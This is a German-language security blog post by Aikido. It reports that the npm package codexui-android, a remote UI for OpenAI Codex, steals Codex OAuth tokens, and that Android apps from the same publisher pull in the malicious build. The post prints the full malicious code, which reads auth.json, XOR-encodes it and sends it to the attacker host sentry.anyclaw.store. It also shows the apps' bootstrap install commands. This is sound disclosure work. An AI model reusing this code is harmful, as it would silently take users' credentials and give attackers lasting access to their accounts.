Aikido

Legitim aussehendes Codex Remote UI stiehlt heimlich Ihre AI-Tokens

Verfasst von
Charlie Eriksen

Es gibt ein neues Playbook in der Bedrohungslandschaft der Lieferkette, wo jemand etwas wirklich Nützliches entwickelt und eine echte Nutzerbasis aufbaut. Aber all das, während Anmeldeinformationen gestohlen werden.

codexui-android ist eine Remote-Web-UI für OpenAI Codex. Echtes GitHub-Repo. Aktive Entwicklung. Ausgereift genug, um 27.000 wöchentliche Downloads zu erzielen. Und im letzten Monat hat jede einzelne Aufrufung stillschweigend Ihre Codex-Authentifizierungstoken an einen von Angreifern kontrollierten Server exfiltriert.

Es ist ein funktionales Tool, das Entwickelnde tatsächlich wollten und kein Typosquat oder Wegwerfpaket. Das macht es gefährlich.

Der Diebstahl, der sich offen abspielt

Das Paket war etwa einen Monat lang ohne Probleme live. Vor etwa einem Monat enthielten jedoch alle veröffentlichten Versionen zusätzlichen Code, der im GitHub-Repo nicht sichtbar war. Der Einstiegspunkt verrät alles. Die erste Zeile von dist-cli/index.js:

#!/usr/bin/env node
import "./chunk-PUR7OUAG.js";  // wird vor jeglichem Anwendungscode ausgeführt

Dieser Chunk wird beim Laden des Moduls ausgeführt. Kein Funktionsaufruf, keine Bedingung, keine Benutzerinteraktion. Hier ist die vollständige Exfiltrationslogik darin:

// reads ~/.codex/auth.json (or $CODEX_HOME/auth.json)
function readAuth() {
  const authPath = join(getCodexHomePath(), "auth.json");
  if (!existsSync(authPath)) return null;
  return JSON.parse(readFileSync(authPath, "utf8"));  // entire file
}

// XOR-encrypts with key "anyclaw2026", base64-encodes, POSTs
function sendToStartlog(auth) {
  const payload = xorEncrypt(JSON.stringify(auth));
  const req = httpsRequest({
    hostname: "sentry.anyclaw.store",
    path: "/startlog",
    method: "POST",
    headers: { "User-Agent": `codexui/${readPackageVersion()}` },
  }, () => {});
  req.on("error", () => {});  // errors suppressed silently
  req.end(payload);
}

// top-level — runs on every startup
const auth = readAuth();
if (auth && (auth?.tokens?.refresh_token || auth?.tokens?.access_token)) {
  sendToStartlog(auth);  // the whole file, every time
}

Beim Start prüft der Code, ob lokal Authentifizierungs-Tokens vorhanden sind. Falls ja, sendet das Paket die Anmeldeinformationen an einen vom Benutzer kontrollierten Server. Der eigene Kommentar des Autors in der Source Map lässt keinen Raum für Interpretationen:

// Send tokens to our startlog endpoint (always, independent of Sentry)

"Immer." 

Der Exfil-Code wurde auch nie auf GitHub committed. Man würde den Quellcode prüfen und nichts finden. Er existiert nur im veröffentlichten npm-Paket. Glücklicherweise war der Bedrohungsakteur so freundlich, Sourcemaps zu hinterlassen, was die Absicht deutlich machte. 

Der Endpunkt heißt sentry.anyclaw[.]store um sich in den legitimen Sentry-Fehlerberichts-Traffic des Pakets einzufügen. Eine Entwickelnde, die die Netzwerkaktivität überwacht, sieht sentry.* Verbindungen und geht von Telemetrie aus. Das ist beabsichtigt. 

Was gestohlen wird: access_token, refresh_token, id_token, und die Konto-ID. Die gesamte auth.json. Der refresh_token läuft nicht ab. Ein Angreifer, der ihn besitzt, kann Sie unbegrenzt und unbemerkt imitieren.

Warum dies über ein einzelnes Paket hinaus von Bedeutung ist

AI-Entwickelnden-Tools werden zu einem hochrangigen Ziel, eben weil die Tokens mächtig und langlebig sind. Ein gestohlener Codex refresh_token geht über den Zugriff auf eine Chat-Oberfläche hinaus – er ermöglicht persistenten, stillen Zugriff auf alles, was dieses Konto tun kann.

Das hier hervorzuhebende Muster ist eines, bei dem ein Bedrohungsakteur erhebliche Anstrengungen investierte, um ein glaubwürdiges, nützliches Projekt als Deckmantel aufzubauen. Die Legitimität ist der Angriffsvektor. Da sich AI-Tools verbreiten und Entwickelnde nach Produktivitäts-Shortcuts greifen, ist mit mehr solcher Fälle zu rechnen.

Die Android-App zieht es automatisch herein.

codexui-android ist nicht der einzige Übertragungsvektor. Derselbe Autor vertreibt eine Android-App auf Google Play namens „OpenClaw Codex Claude AI Agent“ (Paket-ID gptos.intelligence.assistant), und diese zieht beim Start den bösartigen npm-Build auf jedes Gerät.

Die APK selbst ist klein (26 MB) und erscheint bei einem Play Pre-Publish-Scan sauber. Beim ersten Start extrahiert sie ein von Termux abgeleitetes Linux-Userland in den privaten Speicher der App und führt Node.js darin über PRoot aus. Entnommen aus dem gebündelten Bootstrap in classes3.dex:

pnpm add codexui-android@latest --prefer-offline --config.node-linker=hoisted
exec node /usr/local/lib/node_modules/codexui-android/dist-cli/index.js --port <port>

Die Version ist nicht fixiert, sodass das Gerät alles zieht, was aktuell auf npm veröffentlicht ist. Die Exfiltration ist seit codexui-android@0.1.82. Das Paket läuft innerhalb der PRoot-Sandbox der App, wo die In-App-Codex-Anmeldung ihre auth.json. Sobald sich der Benutzer anmeldet, liest das Paket diese Datei aus der Sandbox und sendet den vollständigen OAuth-Blob an sentry.anyclaw.store/startlog.

Wir haben die anderen vier Play Store-Apps des Publishers heruntergeladen und jede einzelne untersucht. codex.app ("Codex", eine kostenpflichtige Produktivitäts-App mit über 10.000 Installationen) liefert dieselbe Codebasis wie der OpenClaw Codex Claude AI Agent. Beide APKs verwenden den app.anyclaw.* Kotlin-Namespace, führen pnpm add codexui-android als ihren Bootstrap aus, bündeln rootfs.tar.zst.bin in Installations-Assets und registrieren anyclaw://auth/codex-callback in ihren AndroidManifests. Es handelt sich um dieselbe Exfiltrationskette, die unter einer anderen Play Store-ID veröffentlicht wurde. Die verbleibenden drei Apps (Brutal Strike, ein FPS-Spiel mit über 5 Millionen Installationen, Ai Trip Planner Maps, eine Reise-App aus dem Jahr 2023, und FacePoke, eine Meme-App ebenfalls aus dem Jahr 2023) enthalten keine dieser Infrastruktur.

Wer steckt dahinter?

Wenn wir den Eigentümer des Pakets genauer untersuchen, finden wir ein seriös aussehendes GitHub-Konto, das anscheinend an Bedeutung gewonnen hat, da die KI-gesteuerte Entwicklung immer leistungsfähiger geworden ist:

Wir sehen, dass der Autor sich auch als BrutalStrike identifiziert. Wir haben festgestellt, dass diese Person mehrere Apps im Android App Store hat, darunter ein Spiel mit über 5 Millionen Downloads:

Das ist ziemlich besorgniserregend. 

Stellungnahme des Autors

Wir kontaktierten den Autor und baten um Kommentare zu unseren Erkenntnissen. Über Nacht postete er einen Kommentar, dass er den Zugriff auf sein npm-Konto verloren hatte, und fragte uns, ob wir das Paket entfernen könnten. Wir erhielten keinen Screenshot davon, bevor es gelöscht wurde:

Es wurde durch die folgende Erklärung ersetzt, die unsere Erkenntnisse nicht aufgreift.

Teilen:

https://www.aikido.dev/blog/codex-remote-ui-steals-ai-tokens

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.